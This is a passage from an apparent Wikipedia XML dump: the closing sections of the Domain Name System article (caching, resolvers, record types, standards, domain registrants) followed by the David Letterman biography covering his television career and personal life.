A noteworthy consequence of this distributed and caching architecture is that changes to the DNS are not always immediately effective globally. This is best explained with an example: If an administrator has set a [[Time_to_live|TTL]] of 6 hours for the host &lt;tt&gt;www.wikipedia.org&lt;/tt&gt;, and then changes the IP address to which &lt;tt&gt;www.wikipedia.org&lt;/tt&gt; resolves at 12:01pm, the administrator must consider that a person who cached a response with the old IP Address at 12:00pm will not consult the DNS server again until 6:00pm. The period between 12:01pm and 6:00pm in this example is called '''caching time''', which is best defined as a period of time that begins when you make a change to a DNS record and ends after the maximum amount of time specified by the [[Time_to_live|TTL]] expires. This essentially leads to an important logistical consideration when making changes to the DNS: ''not everyone is necessarily seeing the same thing you're seeing''. [http://www.ietf.org/rfc/rfc1537.txt RFC1537] helps to convey basic rules for how to set the TTL.

Note that the term &quot;propagation&quot;, although very widely used, is a poor term to describe the effects of caching.  Specifically, it implies that [1] when you make a DNS change, it somehow spreads to all other DNS servers (instead, other DNS servers check in with yours as needed), and [2] that you do not have control over the amount of time the record is cached (you have complete control for all DNS records on your domain, except your NS records and any authoritative DNS servers that use your domain name).

Many people incorrectly refer to a mysterious 48 hour or 72 hour propagation time when you make a DNS change.  When you change the NS records for your domain or the IP addresses for hostnames of authoritative DNS servers using your domain (if any), there can be a lengthy period of time before all DNS servers use the new information.  This is because those records are handled by the zone parent DNS servers (for example, the .com DNS servers if your domain is example.com), which typically cache those records for 48 hours.  However, those DNS changes will be immediately available for any DNS servers that do not have them cached.  And, any DNS changes on your domain other than the NS records and authoritative DNS server names can be nearly instantaneous, if you choose for them to be (by lowering the TTL once or twice ahead of time, and waiting until the old TTL expires before making the change).

===DNS in the real world===

[[Image:DNS in the real world.svg|right|thumb|400px|DNS resolving from program to OS resolver to ISP resolver to greater system.]]

Users generally do not communicate directly with a DNS resolver. Instead DNS resolution is handled transparently via client applications such as web browsers ([[Mozilla Firefox]], [[Safari (web browser)|Safari]], [[Opera (web browser)|Opera]], [[Internet Explorer]], etc), mail clients ([[Outlook Express]], [[Mozilla Thunderbird]], etc), and other internet applications. When a request is made which necessitates a DNS lookup, such programs send a resolution request to the local DNS resolver in the operating system which in turn handles the communications required.

The DNS resolver will almost invariably have a cache (see above) containing recent lookups. If the cache can provide the answer to the request, the resolver will return the value in the cache to the program that made the request. If the cache does not contain the answer, the resolver will send the request to a designated DNS server or servers. In the case of most home users, the [[internet service provider|Internet service provider]] to which the machine connects will usually supply this DNS server: such a user will either configure that server's address manually or allow [[Dynamic_Host_Configuration_Protocol|DHCP]] to set it; however, where systems administrators have configured systems to use their own DNS servers, their DNS resolvers will generally point to their own nameservers. This name server will then follow the process outlined above in ''DNS in theory'', until it either successfully finds a result, or does not. It then returns its results to the DNS resolver; assuming it has found a result, the resolver duly caches that result for future use, and hands the result back to the software which initiated the request.

====Broken Resolvers====
An additional level of complexity is introduced when resolvers violate the rules of the DNS protocol.  A number of large ISPs have configured their DNS servers to violate rules (presumably to allow them to run on less-expensive hardware than a fully-compliant resolver), such as disobey TTLs, or indicate a domain name does not exist just because one of its name servers does not respond.

As a final level of complexity, some applications such as Web browsers also have their own DNS cache, in order to reduce use of the DNS resolver library itself, which can add extra difficulty to DNS debugging, as it obscures which data is fresh, or lies in which cache. These caches typically have very short caching times of the order of 1 minute.  A notable exception is [[Internet Explorer]].  Recent versions cache DNS records for 30 minutes[http://support.microsoft.com/default.aspx?scid=KB;en-us;263558].

===Other DNS applications===
The system outlined above provides a somewhat simplified scenario. The DNS includes several other functions:
*Hostnames and IP addresses do not necessarily match on a one-to-one basis.  Many hostnames may correspond to a single IP address: combined with [[virtual hosting]], this allows a single machine to serve many web sites.  Alternatively a single hostname may correspond to many IP addresses: this can facilitate [[fault-tolerance|fault tolerance]] and load distribution, and also allows a site to move physical location seamlessly.
*There are many uses of DNS besides translating names to IP addresses. For instance, [[Mail transfer agent|Mail transfer agents]] use DNS to find out where to deliver [[e-mail]] for a particular address. The domain to mail exchanger mapping provided by [[MX_record|MX records]] accommodates another layer of fault tolerance and load distribution on top of the name to IP address mapping.
*[[Sender Policy Framework]] controversially takes advantage of a DNS record type, the TXT record.
*To provide resilience in the event of computer failure, multiple DNS servers provide coverage of each domain. In particular, thirteen root servers exist worldwide. DNS programs or operating systems have the IP addresses of these servers built in. The [[United States|USA]] hosts, at least nominally, all but three of the root servers. However, because many root servers actually implement [[anycast]], where many different computers can share the same IP address to deliver a single service over a large geographic region, most of the physical (rather than nominal) root servers now operate outside the USA.

The DNS uses [[Transmission Control Protocol|TCP]] and [[User Datagram Protocol|UDP]] on [[computer port|port]] 53 to serve requests. Almost all DNS queries consist of a single UDP request from the client followed by a single UDP reply from the server. TCP typically comes into play only when the response data size exceeds 512 bytes, or for such tasks as [[DNS zone transfer|zone transfer]]. Some operating systems such as [[HP-UX]] are known to have resolver implementations that use TCP for all queries, even when UDP would suffice.

==Standards==
* RFC 882  Concepts and Facilities (Depricated by RFC 1034)
* RFC 883  Domain Names: Implementation specification (Depricated by RFC 1035)
* RFC 1032 Domain administrators guide
* RFC 1033 Domain administrators operations guide
* RFC 1034 Domain Names - Concepts and Facilities.
* RFC 1035 Domain Names - Implementation and Specification.
* RFC 1183 New DNS RR Definitions
* RFC 1706 DNS NSAP Resource Records
* RFC 1876 Location Information in the DNS ([[LOC record|LOC]])
* RFC 1886 DNS Extensions to support [[IPv6|IP version 6]]
* RFC 1912 Common DNS Operational and Configuration Errors
* RFC 1995 Incremental Zone Transfer in DNS
* RFC 1996 A Mechanism for Prompt Notification of Zone Changes (DNS NOTIFY)
* RFC 2136 Dynamic Updates in the Domain Name System (DNS UPDATE)
* RFC 2181 Clarifications to the DNS Specification
* RFC 2308 Negative Caching of DNS Queries (DNS NCACHE)
* RFC 2317 Classless IN-ADDR.ARPA delegation
* RFC 2672 Non-Terminal DNS Name Redirection
* RFC 2782 A DNS RR for specifying the location of services (DNS [[SRV_record|SRV]])
* RFC 2845 Secret Key Transaction Authentication for DNS (TSIG)
* RFC 2874 DNS Extensions to Support IPv6 Address Aggregation and Renumbering
* RFC 3403 Dynamic Delegation Discovery System (DDDS) ([[NAPTR]] records)

==Types of DNS records==
Important categories of data stored in the DNS include the following:
*An '''A record''' or '''address record''' maps a hostname to a 32-bit [[IPv4]] address.
*An '''[[AAAA record]]''' or '''IPv6 address record''' maps a hostname to a 128-bit [[IPv6]] address.
*A '''CNAME record''' or '''[[canonical name]] record''' makes one domain name an alias of another. The aliased domain gets all the subdomains and DNS records of the original.
*An '''[[MX record]]''' or  '''mail exchange record''' maps a domain name to a list of [[mail exchange server]]s for that domain. 
*A '''PTR record''' or '''pointer record''' maps an [[IPv4]] address to the [[canonical name]] for that host. Setting up a PTR record for a hostname in the &lt;tt&gt;in-addr.arpa&lt;/tt&gt; domain that corresponds to an IP address implements [[reverse DNS lookup]] for that address. For example (at the time of writing), &lt;tt&gt;www.icann.net&lt;/tt&gt; has the IP address 192.0.34.164, but a PTR record maps &lt;tt&gt;164.34.0.192.in-addr.arpa&lt;/tt&gt; to its canonical name, &lt;tt&gt;referrals.icann.org&lt;/tt&gt;.
*An '''NS record''' or '''name server record''' maps a domain name to a list of DNS servers authoritative for that domain. Delegations depend on NS records. 
*An '''SOA record'''  or '''start of authority record''' specifies the DNS server providing ''authoritative'' information about an Internet domain, the email of the domain administrator, the domain serial number, and several timers relating to refreshing the zone.
*An '''[[SRV record]]''' is a generalized service location record.
*A '''[[TXT record]]''' allows an administrator to insert arbitrary text into a DNS record. For example, this record is used to implement the [[Sender Policy Framework]] specification.

Other types of records simply provide information (for example, a [[LOC record]] gives the physical ''location'' of a host), or experimental data (for example, a '''WKS record''' gives a list of servers offering some ''well known service'' such as HTTP or POP3 for a domain).

==Internationalized domain names==

''Main article: [[Internationalized domain name]]''

Domain names must use only a subset of [[ASCII]] characters&amp;mdash;the [[Roman alphabet]] in upper and lower case, the digits 0 through 9, and the [[hyphen]]. This prevented the representation of names and words of many languages natively. [[ICANN]] has approved the [[Punycode]]-based [[Internationalized domain name|IDNA]] system, which maps [[Unicode]] strings into the valid DNS character set, as a workaround to this issue. Some [[domain name registry|registries]] have adopted IDNA.

==DNS software==
:''See [[comparison of DNS server software]].''

DNS-oriented [[utility software|utilities]] include:

* dig (the &quot;domain information groper&quot;)
*[[mysqlBind]] - BIND 8/9 DNS server administration system for one or hundreds of DNS servers. [[GPL]] licensed.

==Legal users of domains==

===Registrant===

No one in the world really &quot;owns&quot; a domain name except the [[Network Information Centre]] (NIC), or [[domain name registry]]. Most of the NICs in the world receive an annual fee from a legal user in order for the legal user to utilise the domain name (i.e. a sort of a leasing agreement exists, subject to the registry's terms and conditions). Depending on the  various naming convention of the registries, legal users become commonly known as &quot;registrants&quot; or as &quot;domain holders&quot;.

ICANN holds a complete list of domain registries in the world. One can find the legal user of a domain name by looking in the [[WHOIS]] database held by most domain registries. 

For most of the more than 240 [[country code top-level domain]]s (ccTLDs), the domain registries hold the authoritative WHOIS (Registrant, name servers, expiry dates etc). For instance, [[DENIC]], Germany NIC holds the authoritative WHOIS to a .DE domain name. 

However, some domain registries, such as [[VeriSign]], use a registry-registrar model. There are hundreds of Domain Name Registrars that actually perform the domain name registration with the end-user, such as [[eNom]]. By using this method of distribution, the registry only has to manage the relationship with the registrar, and the registrar maintains the relationship with the end-users, or 'registrants'. For .COM, .NET domain names, the domain registries, VeriSign holds a basic WHOIS (registrar and name servers etc). One can find the detailed [[WHOIS]] (Registrant, [[name server]]s, expiry dates etc) at the registrars. 

Since about 2001, most [[gTLD]] registries (.ORG, .BIZ, .INFO) have adopted a so-called &quot;thick&quot; registry approach, i.e. keeping the authoritative [[WHOIS]] with the various registries instead of the registrars.

===Administrative contact===

A registrant usually designates an administrative contact to manage the domain name. In practice, the administrative contact usually has the most immediate power over a domain. Management functions delegated to the administrative contacts may include (for example):
* the obligation to conform to the requirements of the domain registry in order to retain the right to use a domain name
* authorisation to update the physical address, e-mail address and telephone number etc in [[WHOIS]]

===Technical contact===

A technical contact manages the name servers of a domain name. The many functions of a technical contact include:
* making sure the configurations of the domain name conforms to the requirements of the domain registry
* updating the domain zone
* providing the 24x7 functionality of the name servers (that leads to the accessibility of the domain name)

===Billing contact===

Self-explanatory, the party whom a [[NIC]] invoices.

===Name servers===

Namely the authoritative [[name server]]s that host the domain name zone of a domain name.

==Politics==
Many investigators have voiced criticism of the methods used currently to control ownership of domains. Most commonly, critics claim abuse by monopolies or near-monopolies, such as [[VeriSign]], Inc., and problems with assignment of [[top-level domain]]s. The international body [[Internet Corporation for Assigned Names and Numbers | ICANN]] (the Internet Corporation for Assigned Names and Numbers) oversees the domain name [[industry]].

===Truth in Domain Names Act===
In the [[United States]], the &quot;Truth in Domain Names Act&quot;, in combination with the [[PROTECT Act of 2003|PROTECT Act]], forbids the use of a misleading domain name with the intention of attracting people into viewing a [[Internet pornography|visual depiction of sexually explicit conduct]] on the internet

==See also==
* [[cybersquatting]]
* [[domain hack]]
* [[dynamic DNS]]
* [[DNS cache poisoning]]
* [[DNSSEC]]
* [[ICANN]]
* [[Root nameserver]]
* [[DNS hosting service]]
* [[EveryDNS]]

==External links and documentation==
*[http://www.circleid.com/community/topics/view/Domain%20Name%20System/ DNS Coverage via CircleID]
*[http://bobcares.com/article5.html Understanding SOA Records]
*[http://www.domainnamewire.com Domain Name Wire]
*[http://www.linux.ie/articles/dns.php All About DNS]
*[http://www.linux.ie/articles/tutorials/dns-tsig.php Securing DNS with Transaction Signatures]
*[http://www.nap.edu/execsumm_pdf/11258.pdf ''Signposts in Cyberspace: The Domain Name System and Internet Navigation'' (PDF format)]
*[http://cr.yp.to/djbdns/forgery.html DNS Forgery]
*[http://ketil.froyn.name/poison.html DNS Poisoning, a practical example]
*[http://www.ckdhr.com/dns-loc/sites.html Sites supporting DNS LOC]
*[http://www.bind9.net/dns-links Domain Name System Links, Whitepapers, and Research]
*[http://www.dnswatch.info DNS lookups] shows recursive search process during DNS lookup
*[http://www.adminschoice.com/docs/domain_name_service.htm Setting up DNS server in unix]
*[http://www.DNSstuff.com Online DNS tools]
*[http://support.microsoft.com/default.aspx?scid=KB;en-us;263558 Microsoft KB Article on IE Cache Times]
*[http://pdos.csail.mit.edu/chord/papers/ddns.pdf Serving DNS using a Peer-to-Peer Lookup Service]
*[http://distributeddns.sourceforge.net/ Distributed DNS]
*[http://www.dns.net/dnsrd/ DNS Resources Directory]
*[http://dns.kify.com/ DNS Query Tool]
*[http://www.ultradns.com/ UltraDNS]

[[Category:Internet standards]]
[[Category:Internet protocols]]
[[Category:Domain Name System| ]]
[[Category:Domain Name Server| ]]

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    </revision>
  </page>
  <page>
    <title>David Letterman</title>
    <id>8340</id>
    <revision>
      <id>42160640</id>
      <timestamp>2006-03-04T05:34:09Z</timestamp>
      <contributor>
        <ip>141.154.110.43</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox Celebrity
| name        = David Letterman
| image       = Lettermanhddesk.jpg
| caption     = David Letterman at his desk on ''[[The Late Show with David Letterman]]''
| birth_date  = [[12 April]] [[1947]]
| birth_place = [[Indianapolis, Indiana|Indianapolis]], [[Indiana]], [[United States|USA]]
| death_date  = 
| death_place = 
| occupation  = [[Late night television|late night]] [[talk show]] host, [[comedian]], and [[television producer]]
| salary      = 
| networth    = 
| spouse      =
| website     =
| footnotes   = 
}}
'''David Michael Letterman''' (born [[April 12]] [[1947]]) is an [[United States|American]] [[Late night television|late night]] [[talk show]] host, [[comedian]], and [[television producer]]. Letterman's [[irony|ironic]], often [[Surreal humour|absurd]] comedy is heavily influenced by comedians [[Steve Allen]], [[Ernie Kovacs]], [[Johnny Carson]], and [[Regis Philbin]]. He is most known currently for being the host of his own show, ''[[The Late Show with David Letterman]]''.

David Letterman was born in [[Indianapolis, Indiana]]. His father, Harry Joe Letterman, was a [[Flower|florist]] who died in 1974; his mother Dorothy Letterman, a [[Presbyterianism|Presbyterian]] church secretary, is an occasional personality on his show.  He has an older sister, Janice, and a younger sister, Gretchen.  One of his early comedic influences was the [[Cincinnati, Ohio|Cincinnati]] talk show host [[Paul Dixon]].  Letterman graduated from [[Ball State University]], receiving a [[B.A.]] in [[telecommunications]] in 1969.   He began his broadcasting career at Ball State's student-run [[radio]] station, WAGO - AM 570 (Now known as WCRD, 91.3).  A rare [[aircheck]] of Letterman on WAGO can be heard [http://www.reelradio.com/tc/index.html#dlwago69 here]. (the voice of Letterman's first wife Michelle can be heard on the clip, playing a character in a sketch)

==Early Career==
===Weather===
[[Image:Weatherdave.jpg|thumb|right|220px|David Letterman as a weatherman]]
Letterman began work as a radio talk show host and on Indianapolis television station [[WTHR]] as a local anchor and weatherman. He received recognition for his unpredictable on-air behavior, which included erasing state borders from the weather map and predicting [[hail]] stones &quot;the size of canned hams.&quot; One night he reportedly upset his bosses when he congratulated a [[tropical storm]] on being upgraded to a [[hurricane]].

===Move to LA===
In 1975, Letterman moved to [[California]] with hopes of becoming a comedy writer and started writing material for [[sitcom]]s. He also began performing [[stand-up comedy]] at [[The Comedy Store]], a famed [[Los Angeles, California|Los Angeles]] [[comedy club]] and proving ground for young comics.  

Letterman had a stint as a cast member on [[Mary Tyler Moore]]'s variety show ''[[Mary (variety show)|Mary]]'', a guest appearance on ''[[Mork &amp; Mindy]]'' (as a parody of [[est]] leader [[Werner Erhard]]), and appearances on [[game show]]s such as ''[[The $20,000 Pyramid]]''. His dry, sarcastic humor caught the attention of talent scouts for ''[[The Tonight Show Starring Johnny Carson]]'', and Letterman was soon a regular guest on the show.  Letterman became a favorite of Carson's and became a regular guest host for the show starting in [[1978 in television|1978]].

[[Image:Davestand.jpg|left|thumb|220px|David Letterman performing standup on ''The Tonight Show Starring Johnny Carson'' in 1978]]

===NBC===
====Morning Show====
Soon afterwards, Letterman was given his own morning comedy show on [[NBC]], ''[[The David Letterman Show]]''. The show was a critical success, winning two [[Emmy Award]]s, but was a ratings disappointment and was cancelled after a brief run during the summer of 1980. 

====Late Night====
NBC kept Letterman under contract and tried again in a different time slot; in [[1982 in television|1982]], ''[[Late Night with David Letterman]]'' debuted on the network. Letterman's show, which ran weeknights at 12:30 am eastern time, immediately following ''[[The Tonight Show]]'', quickly established a reputation as being edgy and unpredictable, and soon developed a cult following (particularly among college students). The show was markedly different than the soft-sell talk-show competition (including his own lead-in); Letterman as an interviewer could be sarcastic and antagonistic to the point that a number of celebrities have even stated that they were afraid of appearing on the show. Letterman's reputation as an acerbic interviewer was born out of moments like his verbal sparring matches with [[Cher (entertainer)|Cher]], [[Shirley MacLaine]] and most notably, [[Madonna (entertainer)|Madonna]] (see [[Madonna on Letterman]]).

[[Image:daveln.jpg|thumb|right|220px|During a monologue on ''Late Night'']]
The show often included quirky, genre-mocking regular features, including &quot;[[Stupid Pet Tricks]]&quot;, throwing things off the roof, the [[Top 10 List]], and a facetious letter-answering segment on Thursdays (&quot;Viewer Mail&quot; moved to Fridays in [[1987]] when a fifth night was added to the program's weekly broadcast schedule). Other memorable moments included Letterman using a bullhorn to interrupt ''[[The Today Show]]'' TV program, which was on the air conducting a live interview at the time, announcing that he was not wearing any pants; interrupting [[Al Roker]] on the [[Live at Five]] live local news by walking into the studio; and the outrageous appearances by comedian [[Andy Kaufman]], ''Late Night'' writer [[Chris Elliott]]  and [[comic book]] writer [[Harvey Pekar]]. In one highly publicized appearance, Kaufman appeared to be slapped and knocked to the ground by professional wrestler [[Jerry Lawler]].  (Lawler and Kaufman's friend [[Bob Zmuda]] later revealed that the event was [[work (professional wrestling)|staged]].) Actor [[Crispin Glover]] once aimed a kick at Letterman's head; the host immediately left the set. When the show returned after a commercial break, Glover had disappeared. A guest shot by writer [[Hunter S. Thompson]] was cut short, apparently after Thompson offered to shoot off fireworks on the studio floor.

==Late Shift==
[[Image:Johnnylatenight.jpg|thumb|left|220px|Johnny Carson faxing a joke to David Letterman on ''Late Night'']]
Letterman remained with [[NBC]] for eleven years. When [[Johnny Carson]] announced that he would retire in May 1992, a protracted, multi-lateral battle erupted over who would replace the long-time ''Tonight'' host. Eventually, executives at [[NBC]] announced Carson's frequent guest-host [[Jay Leno]] as Carson's replacement; despite Carson's own wish of handing the reins to Letterman. Letterman had become a victim of his own success; with [[NBC]] confirming that Letterman's high ratings in the 12:30 ([[North American Eastern Standard Time Zone|EST]]) timeslot meant that [[NBC]] preferred to keep Letterman in the 'Late Night' gig. Letterman, a longtime protégé of Carson's and who had frequently credited Carson with boosting his career, was reportedly bitterly disappointed and angry at not having been given the ''Tonight Show '' job. In 1993, after receiving advice from Carson, Letterman moved to [[CBS]] to host a new show, ''[[The Late Show with David Letterman]]''. In 1996, [[HBO]] produced a made-for-television movie called ''[[The Late Shift]]'', based on a book by [[Bill Carter]], chronicling the battle between Letterman and Leno for the coveted ''Tonight Show'' hosting spot. Letterman would mock the film for months afterward, specifically on how the actor playing him didn't resemble him in the least. (&quot;They took a guy who looked nothing like me and with makeup and special camera angles, turned him into a guy who looked nothing like me, with red hair.&quot;) About a year after ''Late Show'' began, Carson made a surprise appearance during a &quot;Top 10 List&quot; segment. The audience went wild as Letterman stood and invited Carson to sit at his desk. Such was the overwhelming applause that Carson was unable to deliver the joke (the applause having gone on too long) and he humbly returned backstage.

===Move to CBS: ''The Late Show''===
''The Late Show'' competes in the same time slot as Leno's ''[[The Tonight Show]]''. Letterman has garnered both critical and industry praise; his shows have received 67 [[Emmy Award]] nominations, winning twelve times in his first twenty years in late night television. Leno consistently beats Letterman in the ratings. At one point Leno's lead was as large as two million viewers but has been narrowed, [[February 2005|as of February 2005]], to less than a million viewers (5.8 vs. 4.9 million) [http://groups.google.com/group/alt.fan.letterman/browse_thread/thread/9beb064836f93133]. 

===Popularity===
Letterman has also consistently ranked higher than Leno in the annual [[Harris Poll]] of ''Nation's Favorite TV Personality''; [[as of 2003]] Letterman ranked third in that poll, behind [[Oprah Winfrey]] and [[Ray Romano]], while Leno ranked ninth.
[[Image:Happydave.jpg|thumb|right|220px|Letterman in the audience during a Stump the Band segment on the ''Late Show''.]]

===Academy Awards===
In early 1995, it was announced Letterman would host that year's Academy Awards ceremony. Letterman would be blasted by critics for his poor hosting of the Oscars. In an infamous quote, he started off by introducing Uma Thurman to Oprah Winfrey (&quot;Uma...Oprah! Oprah...Uma!&quot;) and many of his jokes fell flat. Letterman turned the whole thing into a long-running gag. On his first show after the Oscars, he confessed &quot;Looking back, I had no idea that thing was being televised.&quot; For years afterward, Letterman would bring up how horrible a host he was, although some have defended him by saying it was the show itself, not him, that was poor that year.

===Health===
In January of 2000, Letterman underwent quintuple heart bypass surgery. During the initial weeks of his recovery, friends of Letterman hosted reruns of the ''Late Show'', including [[Drew Barrymore]], [[Ray Romano]], [[Robin Williams]], [[Bill Murray]], [[Regis Philbin]], [[Charles Grodin]], [[Julia Roberts]], [[Bruce Willis]], [[Jerry Seinfeld]], [[Martin Short]], [[Danny DeVito]], [[Steve Martin]] and [[Sarah Jessica Parker]]. Later, while still recovering from surgery, Letterman revived the late night tradition of 'guest hosts' (a practice that virtually disappeared on network television during the 1990's) by allowing [[Bill Cosby]], [[Kathie Lee Gifford]] (recommended by Regis, who was asked first but had no time in his schedule), [[Dana Carvey]], [[Janeane Garofalo]], and others to host new episodes of ''The Late Show''. Cosby, the show's first guest host, refused to sit at Letterman's desk out of respect, using the couch instead; Garofalo also followed suit, utilizing a set of grade-school desks instead.

Letterman would again hand over the reins of the show to several guest hosts (including [[Brad Garrett]], [[Elvis Costello]], [[John McEnroe]], [[Vince Vaughn]], [[Will Ferrell]], [[Bonnie Hunt]], and [[Luke Wilson]]) in February 2003, when he was diagnosed with a severe case of [[shingles]]. Later, Letterman tried using guest hosts for new shows broadcast on Fridays, but that experiment did not last long, possibly due to the decreased ratings from these shows.

====Return====
Upon his return to the show on [[February 21]], [[2000]], Letterman brought onstage all of the doctors that had performed the operation, including Dr. O. Wayne Isom and physician [[Louis J. Aronne]], who makes frequent appearances on the show. In an unusual show of emotion, Letterman was nearly in tears as he thanked the doctors. The episode earned an [[Emmy]] nomination.
[[Image:Johndave.jpg|thumb|left|220px|Letterman as a guest on ''The Tonight Show Starring Johnny Carson'' in 1986]]

==September 11th==
On [[September 17]], [[2001]], David Letterman was the first major [[United States|American]] comedy performer to return to the television airwaves after the [[September 11, 2001 attacks]]. In his opening monologue, an uncharacteristically serious and very emotional Letterman struggled with the reality of the attacks and the role of comedy in a post-9/11 world, saying, &quot;We're told that they were zealots fueled by religious fervor... religious fervor... and if you live to be a thousand years old will that make any sense to you? Will that make any goddamn sense?&quot;

==Contract Renewed==
In March 2002, as Letterman's contract with CBS was expiring, [[American Broadcasting Corporation|ABC]] expressed the intention to offer Letterman the time slot for long-running news program ''[[Nightline]]'' with [[Ted Koppel]], citing more desirable viewer demographics. This caused a minor flap that ended when Letterman re-signed with CBS.

[[Image:Johnnyondave.jpg|thumb|right|220px|Johnny Carson at Letterman's desk on the ''Late Show with David Letterman'']]

==Letterman and Carson==
In early [[2005]], it was revealed that retired King of Late Night [[Johnny Carson]] still kept up with current events and late-night TV right up to his death that year, and that he occasionally sent jokes to Letterman. Letterman then used these jokes in the monologue of his show, which, according to CBS senior vice president Peter Lassally (a onetime producer for both men), &quot;[Johnny] gets a big kick out of.&quot; Lassally also claimed that Carson had always believed Letterman, not Leno, to be his &quot;rightful successor.&quot; [http://www.msnbc.msn.com/id/6841123/] Letterman also frequently employs some of Carson's trademark bits on his show, including &quot;Carnac the Magnificent&quot; (with Paul Shaffer as Carnac), &quot;Stump the Band&quot; and the &quot;Week in Review&quot;. The late Carson wrote all of the jokes Letterman used in the opening monologue of his first show after Carson's passing.

==HD==
The show started to broadcast in [[High-definition television|HDTV]] format on [[August 29]] [[2005]], one day before its 12th anniversary show.

==Guests==
===Oprah===
On [[December 1]], [[2005]], daytime talk queen [[Oprah Winfrey]] returned to Letterman's show, ending a 16-year &quot;feud&quot; between the two TV titans. Winfrey's appearance garnered Letterman his highest [[Nielsen ratings]](13.5 million people) in ten years, tripling his average numbers.

===Bill O'Reilly===
On [[January 4]], [[2006]], [[Bill O'Reilly (commentator)|Bill O'Reilly]] appeared on the David Letterman program [http://www.youtube.com/w/Letterman-on-OReilly?v=Iix923o9lkU&amp;search=letterman (Video)]. When O'Reilly began a discussion on the alleged War on [[Christmas]], Letterman replied, &quot;I think that this is something that happened here, and it happened there, and so people like you are trying to make us think that it's a threat.&quot; Letterman accused O'Reilly of making up some of his claims on particular points on the supposed War, and O'Reilly replied with, &quot;Then I could write for your show.&quot; When O'Reilly attacked the views of [[Cindy Sheehan]], Letterman made it personal, saying O'Reilly had never lost a family member in a war, and therefore O'Reilly should have nothing but sympathy for Sheehan (implying O'Reilly had no standing to speak against Sheehan's opinions.) When asked if he agreed with Sheehan's comparison of terrorist insurgents in [[Iraq]] to &quot;freedom fighters&quot;, Letterman had no response. Letterman eventually said, &quot;I might not be smart enough to debate you point-for-point, but I have the feeling that about 60 percent of what you say is crap.&quot; When asked if he had ever watched an airing of O'Reilly's [[FOX NEWS]] program &quot;The Factor&quot;, Letterman said he had not. The next day on his program, O'Reilly called Letterman &quot;a card-carrying member of the secular progressive movement&quot;. Yet, in [[2001]], O'Reilly had said about Letterman and the show  &quot;The late-night program hosted by David Letterman is the toughest interview show on television. That's because Mr. Letterman is a smart guy who can spot a phony with telescopic accuracy and expects his guests to bring something to the table. If a guest begins to sink on this show, the bottom is a long way down.&quot;[http://www.worldnetdaily.com/news/article.asp?ARTICLE_ID=21855]

===Albert Brooks===
On [[January 10]], comedian [[Albert Brooks]] made an appearance on Letterman's show. He joked that he'd heard [[January 13]]th would be Letterman's last show: &quot;I have had a knot in my stomach all day because obviously this will be the last David Letterman show I will ever do.&quot; Letterman replied, &quot;I don't think that's true. I think we are going to be here another two or three years.&quot; Letterman's spokesperson said that he has no plans to retire.

===Most Appearances by Guests===
[[Image:Jayondave.jpg|thumb|right|220px|Jay Leno as a guest on ''Late Night'']]
According to the ''Late Show Newsletter'', the following comedians have appeared most frequently on Letterman's two late-night talk shows [[2004 in television|as of April 2004]]:
*[[George Miller (comedian)|George Miller]] (55 appearances, plus four &quot;From My Room&quot; taped segments)
*[[Richard Lewis (comedian)|Richard Lewis]] (52 appearances)
*[[Jay Leno]] (40)
*[[Robert Klein]] (37)
*[[Jeff Altman]] (36)
*[[Billy Crystal]] (35)
*[[Jerry Seinfeld]] (34)

==Worldwide Pants==
Letterman started his own production company, [[Worldwide Pants Incorporated]], which produces his show and several others, including ''[[Everybody Loves Raymond]]'', ''[[The Late Late Show with Craig Ferguson]]'', and several critically acclaimed, but short-lived television series for [[Bonnie Hunt]].  Worldwide Pants also produced the comedy/drama program [[Ed (television program)|Ed]], starring [[Tom Cavanagh]], which aired on [[NBC]] from 2000-2004. It was Letterman's first association with NBC since he left the network in 1993.  During ''Ed's'' run, Cavanagh appeared as a guest on ''The Late Show'' several times.



== Outside of television ==
*A Life Loyal Member and Significant Sig laureate of the [[Sigma Chi]] fraternity, Letterman financed the construction of a house for Ball State's chapter.

*In [[1969]], Letterman married his college sweetheart, Michelle Cook. The couple divorced in [[1977]].

*For a time, Letterman was engaged to ''Late Night'' head writer [[Merrill Markoe]], but their relationship eventually fell apart. Markoe moved to California soon after to pursue a writing career.

*In [[1985]], Letterman established the Letterman Telecommunications Scholarship at his [[alma mater]], to provide financial assistance to Department of Telecommunications students, based solely on his or her creativity, and not high academic grades &amp;mdash;Many reports have stated that in order to qualify for the scholarship a student must have a C average or below.  This is not true, nor has it ever been true.  The scholarships are based on creativity regardless of grade point average. Letterman continues to regularly donate to Ball State and other organizations through his [[American Foundation for Courtesy and Grooming]].

*In [[1988]], [[Margaret Mary Ray]] was arrested while driving Letterman's [[Porsche]] near the Lincoln Tunnel in [[New York City]]. Ray claimed to be Letterman's wife. Ray went on to be arrested repeatedly in subsequent years on trespassing and other counts. In one instance, police found her sleeping on Letterman's private tennis court at his home in [[New Canaan, Connecticut]]. Ray spent nearly ten months in prison and 14 months in a state mental institution for her numerous trespassing convictions. On [[October 7]], [[1998]], Ray was struck and killed by a train in an apparent [[suicide]] in [[Colorado]].

*In [[1994]], Letterman appeared in the [[Chris Elliott]] film ''[[Cabin Boy]]'', as the &quot;Old Salt in the Fishing Village.&quot; He is credited as Earl Hofert, a [[pseudonym]] Letterman employs occasionally, the name borrowed from an uncle on his mother's side of the family.

*In [[1996]], Letterman became co-owner of the open-wheel racing team known as Team Rahal, with former [[Indianapolis 500]] champion [[Bobby Rahal]].  The team changed its name to [[Rahal Letterman Racing]] in May 2004, and later that same month, team driver [[Buddy Rice]] won the Indianapolis 500.  This was an exciting win indeed for Indianapolis native Letterman, who has attended the race regularly since he was a young child.  Normally a private person away from the studio (like his mentor, Johnny Carson), Letterman uncharacteristically gave many interviews following the race.

*Also in [[1996]], Letterman provided the voice of the character &quot;[[Mötley Crüe]] Roadie #1&quot; in the animated motion picture ''[[Beavis and Butt-head Do America]]'', again using Earl Hofert as his name in the end credits. Letterman has often expressed an appreciation for ''[[Beavis and Butt-Head]]'', once calling it &quot;the only thing [on television] that consistently makes me laugh&quot;.

*Letterman, along with bandleader [[Paul Shaffer]] and ''Late Show'' stage manager [[Biff Henderson]], celebrated [[Christmas]] [[2002]] in [[Afghanistan]] with United States and international military forces stationed there.  The three visited [[Iraq]] around Christmas in [[2003]] and [[2004]] as well.

*On [[September 12]], [[2003]], Letterman announced that his long-time girlfriend and ex-colleague Regina Lasko [http://www.geocities.com/davidletterman82/BabyPage.html] was six months pregnant with his child. His son Harry Joseph Letterman, named after David's late father, was born on [[November 3]], [[2003]]. Letterman was about to tape a show when the news came and thus Shaffer was forced to step in as guest host for the broadcast.

*In [[March 2005]], local police in [[Choteau, Montana]], where  Letterman owns a home, foiled an alleged scheme to kidnap Letterman's son. 

